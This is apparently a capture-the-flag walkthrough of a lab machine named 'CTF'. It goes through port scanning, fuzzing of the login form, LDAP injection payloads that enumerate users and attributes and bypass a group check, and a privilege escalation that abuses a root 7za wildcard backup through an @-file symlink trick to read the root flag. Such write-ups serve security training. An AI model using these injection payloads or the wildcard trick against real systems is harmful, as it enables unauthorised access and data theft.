As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.93 scan initiated Fri May 19 07:52:16 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.122
Nmap scan report for 10.10.10.122
Host is up (0.15s latency).
Not shown: 65501 filtered tcp ports (no-response), 32 filtered tcp ports (host-prohibited)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at Fri May 19 07:52:43 2023 -- 1 IP address (1 host up) scanned in 26.70 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,80 10.10.10.122 -oN targeted
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oNsave the scan result into file, in this case the targeted file.
# Nmap 7.93 scan initiated Fri May 19 07:53:37 2023 as: nmap -sCV -p22,80 -Pn -n -oN targeted 10.10.10.122
Nmap scan report for 10.10.10.122
Host is up (0.068s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 fdadf7cbdc421e437db3d58bce63b90e (RSA)
| 256 3def345ce5175e06d7a4c886cae2dffb (ECDSA)
|_ 256 4c46e2168a14f6f0aa396c9746dbb440 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-title: CTF
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
| http-methods:
|_ Potentially risky methods: TRACE
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May 19 07:53:45 2023 -- 1 IP address (1 host up) scanned in 8.64 seconds
The website shows a message saying that any host that tries to bruteforce the site will be banned.
There is a login page that shows whether the user provided exists or not.
There is a comment in the source code that says that the token string necessary to create OTP codes is 81 long.
If we try to inject some payload, we'll see that nothing will appear. Maybe it is because there are some characters that are not allowed.
Let's try to bruteforce special characters, and see which ones are not accepted by the server. First, check out how to requests are being made.
Now, using the doble-uri-hex.txt dictionary, we'll be able to see which characters are the ones not accepted by the server.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.122/login.php
Total requests: 256
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000001: 200 68 L 229 W 2810 Ch "%2500"
000000041: 200 68 L 229 W 2810 Ch "%2528"
000000043: 200 68 L 231 W 2822 Ch "%252a"
000000042: 200 68 L 229 W 2810 Ch "%2529"
000000093: 200 68 L 229 W 2810 Ch "%255c"
Total time: 0
Processed Requests: 256
Filtered Requests: 251
Requests/sec.: 0
These are double URL encoded special characters. Here are the decoded versions.
These characters are commonly used in LDAP servers. We could try to make an LDAP Injection. We can suppose that the LDAP query looks something like this.
Let's intercept a login request with BurpSuite, and send it to the repeater. Then, send the payload as the username. Make sure to double URL encode the payload to make it work.
As we can see above, we get the message Cannot login. Now we know that when we get that message, the query is true. Now we could enumerate usernames from the LDAP server. We need to add each letter of the alphabet at the beginning of the payload. Once we find the first letter, we'll add the second one next to it. The first letter is an l.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.122/login.php
Total requests: 27
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 200 68 L 231 W 2822 Ch "cn"
000000004: 200 68 L 231 W 2822 Ch "commonName"
000000013: 200 68 L 231 W 2822 Ch "mail"
000000015: 200 68 L 231 W 2822 Ch "name"
000000020: 200 68 L 231 W 2822 Ch "pager"
000000017: 200 68 L 231 W 2822 Ch "objectClass"
000000025: 200 68 L 231 W 2822 Ch "uid"
000000022: 200 68 L 231 W 2822 Ch "sn"
000000024: 200 68 L 231 W 2822 Ch "surname"
000000027: 200 68 L 231 W 2822 Ch "userPassword"
Total time: 0
Processed Requests: 27
Filtered Requests: 17
Requests/sec.: 0
The pager attribute looks interesting. It could contain the 81 characters token needed to create OTD codes. We will need to inject the payload ldapuser)(pager=FUZZ*)))%00 as the username.
Once logged in, we'll see one field which allows us to execute commands. But if we try to execute any command we'll see an error saying that we must be a member of the root or adm group to issue commands.
This might happen because there is a compararison when we log in. But we could log in with a payload such as ldapuser)))%00, which will comment anything after the username so this restriction doesn't apply.
This directory contains a bunch of .zip files, and .log file and a bash script.
ls -la /backup
total 56
drwxr-xr-x. 2 root root 4096 May 19 21:31 .
drwxr-xr-x. 18 root root 4096 Sep 20 2022 ..
-rw-r--r--. 1 root root 32 May 19 21:21 backup.1684524061.zip
-rw-r--r--. 1 root root 32 May 19 21:22 backup.1684524121.zip
-rw-r--r--. 1 root root 32 May 19 21:23 backup.1684524181.zip
-rw-r--r--. 1 root root 32 May 19 21:24 backup.1684524241.zip
-rw-r--r--. 1 root root 32 May 19 21:25 backup.1684524301.zip
-rw-r--r--. 1 root root 32 May 19 21:26 backup.1684524361.zip
-rw-r--r--. 1 root root 32 May 19 21:27 backup.1684524421.zip
-rw-r--r--. 1 root root 32 May 19 21:28 backup.1684524481.zip
-rw-r--r--. 1 root root 32 May 19 21:29 backup.1684524541.zip
-rw-r--r--. 1 root root 32 May 19 21:30 backup.1684524601.zip
-rw-r--r--. 1 root root 32 May 19 21:31 backup.1684524661.zip
-rw-r--r--. 1 root root 0 May 19 21:31 error.log
-rwxr--r--. 1 root root 975 Oct 23 2018 honeypot.sh
The honeypot.sh script contains the following code. As we can see, it is doing a backup ZIP file of the content of /var/www/html/uploads.
cat /backup/honeypot.sh
# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt
# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')
# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f
# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
# cleaup the honeypot
rm -rf -- *
# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log
There is a way to read the root flag. As we can see it is using the 7za tool with *. We need write permissions in /var/www/html/uploads.
ls -ld /var/www/html/uploads
drwxr-x--x. 2 apache apache 6 Oct 23 2018 /var/www/html/uploads
We can create files. The idea is to create the @test file, and then create a symbolic link from the root flag to the test file.
Finally, check out the error.log file, and then all we have to do is reap the harvest and take both the user and root flag.
tail -f /backup/error.log
WARNING: No more files
fb220c75acacbedfa7a63f06924e0b5b
WARNING: No more files
d679443b6f2206030fd3a3e7e2cae1a4
We have retrieved the username, but could also get LDAP attributes. I will be using the dictionary from PayloadAllTheThings. We could enter a username like )(FUZZ=*)))%00, to enumerate attributes.